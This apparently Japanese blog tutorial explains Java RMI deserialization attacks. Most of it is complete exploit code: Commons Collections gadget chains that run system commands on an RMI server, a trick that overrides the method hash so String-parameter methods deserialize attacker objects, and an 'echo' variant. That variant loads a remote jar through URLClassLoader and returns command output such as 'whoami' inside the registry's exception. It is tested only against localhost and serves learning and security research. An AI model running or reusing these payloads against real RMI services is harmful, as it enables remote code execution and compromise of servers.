import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class server {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(3333);
        User user = new UserImpl();
        registry.bind("User", user);
        System.out.println("rmi start at 3333");
    }
}


package rmi.attack_server;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface User extends Remote {
    String name(String name) throws RemoteException;
    void say(String say) throws RemoteException;
    void dowork(Object work) throws RemoteException;
}


package rmi.attack_server;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

// java.rmi.server.UnicastRemoteObjectのコンストラクタでスタブとスケルトンが生成されます
public class UserImpl extends UnicastRemoteObject implements User{
    // 明示的なコンストラクタが必要で、RemoteExceptionをスローする必要があります
    public UserImpl() throws RemoteException{
        super();
    }
    @Override
    public String name(String name) throws RemoteException{
        return name;
    }
    @Override
    public void say(String say) throws  RemoteException{
        System.out.println("あなたが言う " + say);
    }
    @Override
    public void dowork(Object work) throws  RemoteException{
        System.out.println("あなたの作業は " + work);
    }
}

クライアント

package rmi.attack_server;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class client {
    public static void main(String[] args) throws Exception{
        String url = "rmi://127.0.0.1:3333/User";
        User userClient = (User)Naming.lookup(url);
        System.out.println(userClient.name("test"));
        userClient.say("world");// ここでサーバー側に出力されます
        userClient.dowork(getpayload());
    }

    public static Object getpayload() throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        map.put("value", "test");
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, transformedMap);
        return instance;
    }
}

ここでデバッグ中にいくつかの問題に直面しました。サーバー側を攻撃するため、注目すべき点はサーバーとの相互作用の場所です。したがって、UserImpl#dowork​でブレークポイントを設定しましたが、クライアント側でデバッグすると、UserImpl#dowork​にジャンプできないことがわかりました。zjj に尋ねたところ、サーバー側でデバッグする必要があることがわかりました。なぜなら、これらは 2 つのプロセスに属しており、dowork が実行されると、実際にはサーバーがクライアントからデータを受け取るのを待っているからです。したがって、呼び出しスタックは次のようになります。

dowork:22, UserImpl (rmi.attack_server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
dispatch:357, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1391780250 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

ここで注目すべきは、UnicastServerRef#dispatch​です。

image

dispatch​関数の役割はリモート呼び出しを処理することです。これは 2 つのパラメータを受け取ります:1 つはリモートオブジェクトvar1​、もう 1 つはリモート呼び出しオブジェクトvar2​です。

  • var1​はサーバー側の実際のリモートオブジェクトインスタンスを表す Remote 型のオブジェクトです。
  • var2​はクライアントがリモートオブジェクトメソッドを呼び出すための RemoteCall 型のオブジェクトで、クライアントからのリモートオブジェクトメソッド呼び出しをカプセル化しています。

簡単に言えば、var1​はサーバー側のリモートオブジェクトインスタンスであり、var2​はクライアントがそのリモートオブジェクトメソッドを呼び出すためのものです。

image

ここから、呼び出すリモートオブジェクトのメソッドを読み取り、hashToMethod_Map​に格納されているリモート呼び出し可能なメソッドを取得します。ここでvar4=-1です。

image

ここで呼び出されているのは name メソッドであり、パラメータリストの長さを取得し、そのパラメータリストの長さを反復処理してunmarshalValue​に入ります。

image

ここでは、渡されたvar0​を判断してデータを読み取る方法を判断します。基本型であれば対応する方法で読み取り、そうでなければ逆シリアル化を行います。このときのvar1​は最初にクライアントがそのリモートオブジェクトメソッドを呼び出すために渡したオブジェクト(クライアントから送られたシリアル化文字列)です(私たちは制御可能です)。

サーバー側の String 型パラメータメソッドの利用#

ただし、ここではString.class​型は見つかりません。リモートオブジェクトのある関数が String 型のパラメータを受け入れる場合、渡すオブジェクトを逆シリアル化できるのでしょうか?

ここでは、サーバー側で String 型のパラメータを受け入れるメソッドを設定し、クライアント側で同じメソッドを構築しますが、パラメータと戻り値を Object 型に変更します。

ここでのコードは次のとおりです:

サーバー部分コード:

インターフェース

package rmi.attack_server;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface User extends Remote {
    void say(String say) throws RemoteException;
}

実装クラス

package rmi.attack_server;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class UserImpl extends UnicastRemoteObject implements User {
    // 明示的なコンストラクタが必要で、RemoteExceptionをスローする必要があります
    public UserImpl() throws RemoteException {
        super();
    }
    @Override
    public void say(String say) throws RemoteException{
        System.out.println("あなたが言う " + say);
    }
}

rmi サーバー

package rmi.attack_server;

import sun.rmi.server.UnicastServerRef;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class serverTest {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(3333);
        User user = new UserImpl();
        registry.bind("User", user);
        System.out.println("rmi start at 3333");
    }
}

クライアントコードは次のとおりです:

package rmi.attack_server;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface User extends Remote {
//    String name(String name) throws RemoteException;
    void say(Object say) throws RemoteException;
//    void dowork(Object work) throws RemoteException;
}

実装クラス:

package rmi.attack_server;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

// java.rmi.server.UnicastRemoteObjectのコンストラクタでスタブとスケルトンが生成されます
public class UserImpl extends UnicastRemoteObject implements User {
    // 明示的なコンストラクタが必要で、RemoteExceptionをスローする必要があります
    public UserImpl() throws RemoteException {
        super();
    }
    @Override
    public void say(Object say) throws RemoteException{
        System.out.println("あなたが言う " + say);
    }
}

rmi クライアント:

package rmi.attack_server;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class clientTest {

    public static void main(String[] args) throws Exception{
        String url = "rmi://127.0.0.1:3333/User";
        User userClient = (User) Naming.lookup(url);
        userClient.say(getpayload());
    }

    public static Object getpayload() throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        map.put("value", "test");
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, transformedMap);
        return instance;
    }
}

ここで注意すべきは、rmi の URL はサーバーのものであり、実際に呼び出したいのは String 型の say メソッドですが、Object オブジェクトを渡したい場合、userClient オブジェクトを User 型にする必要があります。そうでないと、渡すことができません。また、クライアントが呼び出す say メソッドは実際には say メソッドを実行するのではなく、getpayload()​データをサーバーの実際のリモートオブジェクトに渡すために呼び出されます。したがって、ここで書かれているのは Object 型の say メソッドですが、サーバーに渡されるのは String 型の say メソッドを実行するためです。ここでは、クライアントが実行できるようにするために Object 型メソッドに変更する必要があります。

ここで、クライアントとサーバーのコードは異なるプロジェクトに配置する必要があります(そうでないと、com.sun.proxy.$Proxy0 cannot be cast to rmi.attack_server.User​エラーが発生します)。

また、クライアントのクラス名とサーバーのクラス名は一致させる必要があり、パッケージ名も一致させる必要があります。そうでないと、java.lang.ClassNotFoundException: attack_server2.User1 (no security manager: RMI class loader disabled)​エラーが発生します。また、両方に cc 依存関係が必要です。

クラス名を再設定し、再度エラーが発生しました。

image

image

これは、hashToMethod_Map​から呼び出したいメソッドを見つけられなかったことを示しています(ハッシュを使用して判断するため)。ここで、クライアントがこの var4 をどのように渡しているかを確認する必要があります。

ここで、ブレークポイントを設定して、クライアントが送信データを逆シリアル化する際の呼び出しスタックを確認する方法を補足します。

StreamRemoteCall​のコンストラクタの役割は、リモート呼び出しオブジェクトを初期化することです。このコンストラクタは、リモート呼び出しのヘッダー情報を記録します。オブジェクト ID、操作コード、呼び出し ID などが含まれます。

image

ここで、前にハッシュを比較する際に使用される変数を確認する必要があります。

image

実際、そのハッシュ値は、渡されたオブジェクトの long 値を読み取ることです。つまり、StreamRemoteCall​のコンストラクタの 4 番目のパラメータである呼び出し ID です。したがって、ここでこのハッシュ値を直接変更すればよいのです(送信されるシリアル化データは任意に操作可能です)。最悪の場合、クライアント側でエージェントを使用してこのクラスを再定義することもできます。とにかく、ここでサーバーに存在するメソッドに対応するハッシュを渡し、逆シリアル化をバイパスすればよいのです。ここで、6197384497301668989​に設定しました(自分のサーバーに対応するものを見つけてください)。デバッグ中にvar4=6197384497301668989L​と入力する必要があります。そうでないと、int として扱われて大きすぎると見なされます(どのように設定するかは以下の図を参照)。

image

image

Enter を押すと、次にデバッグを続行します。ここで、デバッグプロセスには多くの落とし穴があります。ここでは、3 回目に writeLong にジャンプして変更を行う必要があり、次のデバッグを続行できるようにします。なぜなら、3 回目は say メソッドの呼び出しに対応しているからです。したがって、クライアントとサーバーを同時にデバッグする必要があります。サーバー側で現在の呼び出しメソッドが say メソッドであるかどうかを確認します。

image

image

サーバー側のメソッドパラメータが string 型であっても、クライアントから渡されたデータを逆シリアル化できることがわかります。したがって、Integer​、Boolean​、Byte​、Character​、Short​、Long​、Float​、Double​メソッドを除いて、すべてのメソッドは object の逆シリアル化を行うことができます。成功するとポップアップが表示されます。

image

エコー攻撃#

ここで言うエコー攻撃は、攻撃が登録センターに到達したとき、登録センターが例外に遭遇し、直接その例外をクライアントに返すことを指します。

以前、登録センターを攻撃する際に使用した方法では、bind、lookup、unbind、rebind などの方法で登録センターを攻撃することができました。攻撃を試みると、コマンドは確かに実行されましたが、登録センターのエラーもクライアントに伝わります。

image 9

登録センターはリクエストを処理する際に、UnicastServerRef#dispatch​を呼び出してリクエストを処理します。その後、RegistryImpl_Skel オブジェクトの dispatch メソッドを順次呼び出します。

登録センターがエラーを処理する方法を見てみましょう。UnicastServerRef#dispatch:

まず、例外を var6 に割り当て、その後、現在の socket 接続を outputstream に取得し、例外を書き込みます。その後、finally の後の 2 つのコードを介してデータをクライアントに返します。

image 10

考え方:bind メソッドを介して登録センターが私たちの悪意のあるシリアル化オブジェクトを逆シリアル化すると、コマンド実行がトリガーされ、URLClassLoader を介してリモート jar をロードし、そのメソッドを呼び出し、メソッド内でエラーをスローします。エラーはクライアントに返されます。

サーバー:

import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;

public class Server {

    public interface User extends Remote {
        public String name(String name) throws RemoteException;
        public void say(String say) throws RemoteException;
        public void Example(Object work) throws RemoteException;
    }

    public static class UserImpl extends UnicastRemoteObject implements User{

        public UserImpl() throws RemoteException{
            super();
        }
        public String name(String name) throws RemoteException{
            return name;
        }
        public void say(String say) throws  RemoteException{
            System.out.println("あなたが言う" + say);
        }
        public void Example(Object example) throws  RemoteException{
            System.out.println("これは " + example + " です");
        }
    }

    public static void main(String[] args) throws Exception{
        String url = "rmi://127.0.0.1:1099/User";
        UserImpl user = new UserImpl();
        LocateRegistry.createRegistry(1099);
        Naming.bind(url,user);
        System.out.println("RMIサーバーが実行中です");
    }
}

ErrorBaseExec

import java.io.BufferedReader;
import java.io.InputStreamReader;
public class ErrorBaseExec {
    public static void do_exec(String args) throws Exception
    {
        Process proc = Runtime.getRuntime().exec(args);
        BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
        StringBuffer sb = new StringBuffer();
        String line;
        while ((line = br.readLine()) != null)
        {
            sb.append(line).append("\\n");
        }
        String result = sb.toString();
        Exception e=new Exception(result);
        throw e;
    }
}

RMIexploit.jar にコンパイルします。

javac ErrorBaseExec.java
jar -cvf RMIexploit.jar ErrorBaseExec.class

クライアント

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class Client {
    public static Constructor<?> getFirstCtor(final String name)
            throws Exception {
        final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
        ctor.setAccessible(true);
        return ctor;
    }
    public static void main(String[] args) throws Exception {
        String ip = "127.0.0.1"; //登録センターのIP
        int port = 1099; //登録センターのポート
        String remotejar = "<http://127.0.0.1:8081/RMIexploit.jar>";
        String command = "whoami";
        final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
        try {
            final Transformer[] transformers = new Transformer[] {
                    new ConstantTransformer(java.net.URLClassLoader.class),
                    new InvokerTransformer("getConstructor", new Class[] { Class[].class }, new Object[] { new Class[] { java.net.URL[].class } }),
                    new InvokerTransformer("newInstance", new Class[] { Object[].class }, new Object[] {new Object[] {new java.net.URL[] { new java.net.URL(remotejar) }}}),
                    new InvokerTransformer("loadClass", new Class[] { String.class }, new Object[] {"ErrorBaseExec"}),
                    new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "do_exec", new Class[] { String.class } }),
                    new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new String[] { command } })
            };
            Transformer transformedChain = new ChainedTransformer(transformers);
            Map innerMap = new HashMap();
            innerMap.put("value", "value");
            Map outerMap = TransformedMap.decorate(innerMap, null,
                    transformedChain);
            Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
            ctor.setAccessible(true);
            Object instance = ctor.newInstance(Target.class, outerMap);
            Registry registry = LocateRegistry.getRegistry(ip, port);
            InvocationHandler h = (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Target.class, outerMap);
            Remote r = Remote.class.cast(Proxy.newProxyInstance(
                    Remote.class.getClassLoader(),
                    new Class[] { Remote.class }, h));
            registry.bind("liming", r);
        } catch (Exception e) {
            try {
                System.out.print(e.getCause().getCause().getCause().getMessage());
            } catch (Exception ee) {
                throw e;
            }
        }
    }
}

Python で簡易 HTTP サーバーを起動します。

python -3 -m http.server 8081

image 11

image 12

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。